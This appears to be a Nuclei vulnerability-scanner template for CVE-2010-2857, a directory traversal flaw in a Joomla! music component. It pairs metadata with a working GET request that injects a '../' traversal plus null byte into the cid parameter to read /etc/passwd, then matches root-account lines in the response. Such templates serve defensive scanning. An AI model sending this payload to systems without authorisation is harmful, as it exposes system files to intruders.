id: CVE-2010-2857

info:
  name: Joomla! Component Music Manager - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Music Manager component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the cid parameter to album.html.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/14274
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2857
    - http://www.exploit-db.com/exploits/14274
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/60195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2857
    cwe-id: CWE-22
    epss-score: 0.04848
    epss-percentile: 0.90882
    cpe: cpe:2.3:a:danieljamesscott:com_music:0.1:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: danieljamesscott
    product: com_music
  tags: cve,cve2010,joomla,lfi,edb,danieljamesscott,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220359f748b24d5eb89890081dccdaa8078eeffceb88ce3255d445ea834aa80940602205140d7e70a8e6a88290ed74deab5b3fe177904a76407df49c1797b034165d2b9:922c64590222798bb761d5b6d8e72950